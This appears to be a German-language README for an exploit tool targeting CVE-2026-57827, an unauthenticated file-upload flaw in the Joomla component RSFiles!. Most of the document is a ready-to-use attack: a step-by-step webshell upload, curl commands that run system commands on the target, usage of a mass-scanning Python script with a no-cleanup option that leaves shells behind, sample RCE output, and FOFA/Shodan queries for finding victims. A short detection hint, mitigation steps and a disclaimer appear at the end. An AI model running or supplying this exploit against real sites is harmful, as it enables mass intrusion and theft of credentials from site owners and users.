
CVE-2026-57827 — RSFiles! Joomla Component Unauthenticated File Upload RCE. Split-controller upload bypass. CVSS 9.8 | CWE-434 | com_rsfiles < 1.17.12
CVE-2026-57827 ist eine kritische (CVSS 9.8) nicht authentifizierte Schwachstelle für beliebigen Datei-Upload in RSFiles! (com_rsfiles), einer weit verbreiteten Dateiverwaltungs- und Download-Komponente für Joomla, in Versionen < 1.17.12.
Die Schwachstelle nutzt einen Designfehler im Split-Controller: RSFiles! trennt seinen Upload in zwei Frontend-Tasks — eine Vorabprüfung (Berechtigungs-Gate + Erweiterungs-Whitelist) und eine Schreibmethode (speichert die Datei auf der Festplatte). Die Schreibmethode kann direkt aufgerufen werden und umgeht die Vorabprüfung vollständig. Keine Authentifizierung, kein CSRF-Token erforderlich.
| Version | Status |
|---|---|
| < 1.17.12 | Anfällig |
| 1.17.12+ | Behoben |
Entdeckt von: Phil Taylor, mySites.guru (10. Juli 2026) Hersteller: RSJoomla (rsjoomla.com) Komponente: com_rsfiles
RSFiles! verteilt seinen Upload auf zwei separate Frontend-Tasks in /components/com_rsfiles/controllers/rsfiles.php:
// Task 1 — Pre-flight check (task=rsfiles.checkupload) — GUARDED
// Holds the permission gate (can this user upload?) and the extension
// allow-list (images, text, PDFs by default). This method decides yes
// or no. It writes nothing.
function checkupload() {
if (!$user->authorise('rsfiles.upload')) return false;
$allowed = ['jpg','png','gif','txt','pdf'];
if (!in_array($ext, $allowed)) return false;
return true;
}
// Task 2 — Write method (task=rsfiles.upload) — UNGUARDED (the vulnerability)
// Receives the file and saves to disk. NO permission check.
// NO file-type check. Reads filename straight from the request
// and hands the upload to Joomla's JFile::upload(), which
// accepts any file type unless told otherwise.
function upload() {
$file = $input->files->get('file');
// No permission check
// No extension check
// JFile::upload() accepts anything by default
JFile::upload($file['tmp_name'], $dest . $file['name']);
// File saved to /downloads/ (web root, .htaccess OFF by default)
}
&task=rsfiles.upload aufzurufen und die Vorabprüfung vollständig zu überspringen.JFile::upload()), der standardmäßig jeden Dateityp akzeptiert..htaccess, die dort die PHP-Ausführung stoppen würde, ist eine Opt-in-Admin-Einstellung, die standardmäßig AUS ist.1. Attacker crafts PHP webshell (plain PHP, no polyglot needed)
2. POST /index.php?option=com_rsfiles&task=rsfiles.upload
file=<shell.php> (multipart, PHP payload)
folder=&overwrite=1
3. Joomla frontend controller dispatches to rsfiles.upload()
→ Skips rsfiles.checkupload (pre-flight) entirely
→ No permission check → No CSRF token check → No file-type check
→ JFile::upload() accepts any file type
4. File saved to /downloads/{shell_name}.php (web root)
.htaccess protection is opt-in, OFF by default
5. GET /downloads/{shell_name}.php?t=TOKEN&c=id
6. PHP executes → RCE as www-data
Look for POST requests to:
index.php?option=com_rsfiles&task=rsfiles.upload
that are NOT preceded by requests to:
index.php?option=com_rsfiles&task=rsfiles.checkupload
Die Sicherheitsprüfungen (Berechtigungs-Gate + Erweiterungs-Whitelist) sind ein separater Vorab-Schritt von der Methode, die die Datei tatsächlich schreibt. Nur der erste enthält die Prüfungen. Der zweite — derjenige, der auf die Festplatte schreibt — konnte direkt aufgerufen werden, indem der richtige task-Parameter in der URL gesetzt wurde, wodurch alle Sicherheitskontrollen umgangen wurden.
Dies ist ein Lehrbuchbeispiel des Anti-Patterns „Prüfungen und Aktionen an verschiedenen Stellen“: Das Schutzgatter und die Operation, die es schützen soll, sind entkoppelt, und ein Angreifer kann die Operation erreichen, ohne das Gatter zu passieren.
git clone https://github.com/shinthink/CVE-2026-57827.git
cd CVE-2026-57827
pip install requests
# Einzelnes Ziel
python cve_2026_57827.py -t target.com
# Massen-Scan
python cve_2026_57827.py -f targets.txt -o shells.txt
# Debug-Modus, Shells auf dem Ziel hinterlassen
python cve_2026_57827.py -t target.com --debug --no-cleanup
-t, --target Single target (domain or IP)
-f, --file Target list, one per line
-o, --output Save RCE URLs to file
--threads Concurrent workers (default: 30)
--no-cleanup Leave shells on target
--debug Show every HTTP request
-v, --verbose Verbose output
$ python cve_2026_57827.py -t joomla-site.com
RSFiles! Joomla Component | CVE-2026-57827 | CVSS 9.8
Host : joomla-site.com
RSFiles! : YES v1.17.11
Upload : YES
RCE : YES
Shell : https://joomla-site.com/components/com_rsfiles/downloads/.a1b2c3.php?t=token
Output : uid=33(www-data) gid=33(www-data) groups=33(www-data)
Time : 3.8s
Schritt 1 — Shell hochladen
curl -X POST 'https://target.com/index.php?option=com_rsfiles&task=rsfiles.upload' \
-F '[email protected]' \
-F 'folder=' \
-F 'overwrite=1'
Schritt 2 — Auf die Shell zugreifen
curl 'https://target.com/downloads/shell.php?c=id'
Schritt 3 — Befehle ausführen
curl 'https://target.com/downloads/shell.php?c=id;hostname;uname -a'
Mitigation (falls ein Update nicht möglich ist)
# Delete the vulnerable controller file (renders RSFiles! unusable but secure)
rm /path/to/joomla/components/com_rsfiles/controllers/rsfiles.php
# Or enable .htaccess protection:
# RSFiles admin → Settings → Files → tick "Secure download folder" + "Secure briefcase folder"
FOFA: body="com_rsfiles" || body="RSFiles"
Shodan: http.html:"com_rsfiles"
Eine erfolgreiche Ausnutzung führt zu Remote Code Execution als Web-Server-Benutzer:
configuration.php → Datenbank-Zugangsdaten, SMTP-GeheimnisseIn keinem Schritt ist ein Konto auf der Website erforderlich. Anonym, nicht authentifiziert, remote.
RSJoomla hat die Schwachstelle in Version 1.17.12 behoben, indem:
.htaccess-Schutz im Downloads-Ordner standardmäßig aktiviert wurdeNUR FÜR BILDUNGSZWECKE UND AUTORISIERTE TESTS.
Verwenden Sie diese Informationen nicht gegen Systeme ohne ausdrückliche Genehmigung des Eigentümers. Die Autoren übernehmen keine Haftung für Missbrauch.
Nicht mit RSJoomla oder mySites.guru verbunden.
| Dateipfad | Zweck |
|---|
/components/com_rsfiles/controllers/rsfiles.php | Controller mit anfälligen upload()- und checkupload()-Tasks |
/components/com_rsfiles/views/upload/tmpl/upload.php | Frontend-Upload-Formularvorlage (bestätigt: name="file", task=rsfiles.upload) |
/downloads/ | Standard-Downloads-Ordner im Web-Root (.htaccess-Schutz standardmäßig AUS) |
/briefcase/ | Briefcase-Ordner (ebenfalls beschreibbar) |
| Ressource | Link |
|---|
| NVD-Eintrag | CVE-2026-57827 |
| mySites.guru Advisory | mysites.guru/blog/rsfiles-unauthenticated-file-upload-rce |
| RSJoomla-Advisory | rsjoomla.com |
| CWE-434 | Unrestricted Upload of File with Dangerous Type |
| Melder | Phil Taylor, mySites.guru |